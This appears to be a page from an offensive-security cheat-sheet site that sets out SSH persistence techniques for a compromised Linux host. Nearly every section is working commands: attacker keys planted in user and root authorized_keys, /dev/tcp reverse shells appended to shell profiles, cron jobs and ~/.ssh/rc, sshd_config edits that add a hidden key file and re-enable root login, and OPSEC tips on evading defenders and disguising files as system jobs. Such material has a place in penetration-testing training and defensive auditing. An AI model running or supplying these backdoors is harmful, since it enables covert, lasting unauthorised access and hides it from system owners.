Skip to content
HackIndex logo

HackIndex

SSH Persistence Techniques

5 min read May 6, 2026

After gaining access via SSH, these techniques keep that access alive beyond the current session. Each method trades off stealth against reliability. Start with authorized keys for guaranteed SSH re-entry, then layer in profile or cron callbacks for redundancy.

Authorized Keys Backdoor

The most direct and reliable method. Add an attacker-controlled public key to the target user's authorized_keys file. The key survives password resets, SSH session terminations, and most system updates.

Generate a key pair on the attacker machine:

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t ed25519 -f /tmp/backdoor -N ""

This produces /tmp/backdoor (private) and /tmp/backdoor.pub (public). Copy the public key content:

┌──(kali㉿kali)-[~]
└─$ cat /tmp/backdoor.pub

On the target, append the public key to the target user's authorized_keys:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /home/$USER/.ssh
┌──(kali㉿kali)-[~]
└─$ echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/$USER/.ssh/authorized_keys

Fix permissions — SSH will refuse to use authorized_keys if the directory or file permissions are too open:

┌──(kali㉿kali)-[~]
└─$ chmod 700 /home/$USER/.ssh
┌──(kali㉿kali)-[~]
└─$ chmod 600 /home/$USER/.ssh/authorized_keys

For root persistence:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /root/.ssh
┌──(kali㉿kali)-[~]
└─$ echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
┌──(kali㉿kali)-[~]
└─$ chmod 700 /root/.ssh
┌──(kali㉿kali)-[~]
└─$ chmod 600 /root/.ssh/authorized_keys

Connect back using the private key:

┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/backdoor $USER@$TARGET_IP

Notice

OPSEC: authorized_keys is visible to any user who can read ~/.ssh/. Defenders routinely audit this file. For longer engagements, append rather than replace — removing an entry is harder to detect than seeing an unexpected single entry.

Shell Profile Persistence

Append a callback to a shell initialization file. The payload fires on the next interactive SSH login or shell spawn. This blends into legitimate dotfiles and survives reboots without needing root.

Per-user targets (runs as the current user on next login):

┌──(kali㉿kali)-[~]
└─$ echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &" >> /home/$USER/.bashrc
┌──(kali㉿kali)-[~]
└─$ echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &" >> /home/$USER/.bash_profile
┌──(kali㉿kali)-[~]
└─$ echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &" >> /home/$USER/.profile

The trailing & backgrounds the reverse shell so the interactive SSH session continues normally and does not alert the user.

System-wide target (runs for all users on login, requires root):

┌──(kali㉿kali)-[~]
└─$ cat > /etc/profile.d/update.sh << 'EOF'
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &
EOF
┌──(kali㉿kali)-[~]
└─$ chmod +x /etc/profile.d/update.sh

On the attacker machine, listen before the next SSH session is opened by the target:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Zsh Equivalents

If the target user's shell is zsh:

┌──(kali㉿kali)-[~]
└─$ echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &" >> /home/$USER/.zshrc

Check the target user's shell first:

┌──(kali㉿kali)-[~]
└─$ grep "^$USER" /etc/passwd

Cron Persistence via SSH User

A crontab entry provides timed callbacks independent of SSH sessions. It survives shell exits and reboots. Install as the target user or as root depending on the privilege level held.

Add a crontab entry as the current user:

┌──(kali㉿kali)-[~]
└─$ (crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1") | crontab -

This fires every minute. Adjust the schedule to reduce noise — every 5 minutes is less aggressive:

┌──(kali㉿kali)-[~]
└─$ (crontab -l 2>/dev/null; echo "*/5 * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1") | crontab -

With root access, write directly to /etc/cron.d/ using a filename that resembles a system job:

┌──(kali㉿kali)-[~]
└─$ echo "*/5 * * * * $USER bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" > /etc/cron.d/update-check
┌──(kali㉿kali)-[~]
└─$ chmod 644 /etc/cron.d/update-check

Cron does not expand shell variables like $LHOST and $LPORT at runtime unless they are set in the cron environment. Use literal values in the actual entry, or wrap the command in a script:

┌──(kali㉿kali)-[~]
└─$ cat > /tmp/.cb.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EOF
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/.cb.sh
┌──(kali㉿kali)-[~]
└─$ (crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.cb.sh") | crontab -

SSHD Config Manipulation

Requires root. If the sshd_config is modified incorrectly the daemon may fail to restart, locking out all SSH access including your own. Test changes carefully.

Add a custom AuthorizedKeysFile directive pointing to an attacker-controlled path:

┌──(kali㉿kali)-[~]
└─$ echo "AuthorizedKeysFile /tmp/.keys %h/.ssh/authorized_keys" >> /etc/ssh/sshd_config
┌──(kali㉿kali)-[~]
└─$ echo "ssh-ed25519 AAAA...attacker_pubkey..." > /tmp/.keys
┌──(kali㉿kali)-[~]
└─$ chmod 600 /tmp/.keys

ncluding %h/.ssh/authorized_keys in the directive keeps existing keys functional — removing it breaks authentication for all legitimate users.

Restart the daemon to apply changes:

┌──(kali㉿kali)-[~]
└─$ systemctl restart sshd

Test the backdoor key before ending the current session:

┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/backdoor root@$TARGET_IP

Notice

OPSEC: Restarting sshd generates a log entry and any monitoring on the config file will detect the modification. This is the noisiest method here. Use only when other persistence methods are unavailable or when root access needs to survive key rotation.

PermitRootLogin Backdoor

If root login is disabled, re-enable it via the config:

┌──(kali㉿kali)-[~]
└─$ sed -i 's/^PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
┌──(kali㉿kali)-[~]
└─$ systemctl restart sshd

Then add a root-level authorized key as above.

SSH RC File

~/.ssh/rc is executed by sshd on each SSH login for the user, before the shell or ForceCommand runs. It is less commonly audited than authorized_keys or dotfiles, making it a lower-profile persistence option.

The file executes only when there is no ForceCommand set in sshd_config. Verify this is not restricted before relying on it:

┌──(kali㉿kali)-[~]
└─$ grep -i forcecommand /etc/ssh/sshd_config

If no ForceCommand is present, write the callback:

┌──(kali㉿kali)-[~]
└─$ cat > /home/$USER/.ssh/rc << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 &
EOF
┌──(kali㉿kali)-[~]
└─$ chmod 700 /home/$USER/.ssh/rc

The script requires execute permissions. SSH runs it with the user's shell, so a bash shebang is sufficient on most Linux systems.

Notice

OPSEC: ~/.ssh/rc is checked on every SSH login. It fires before the interactive prompt, so the connection appears normal to the user. It does not appear in crontab -l output or ps history, making it less likely to surface in basic audits. Combined with a backgrounded reverse shell, it is one of the stealthier options here.

References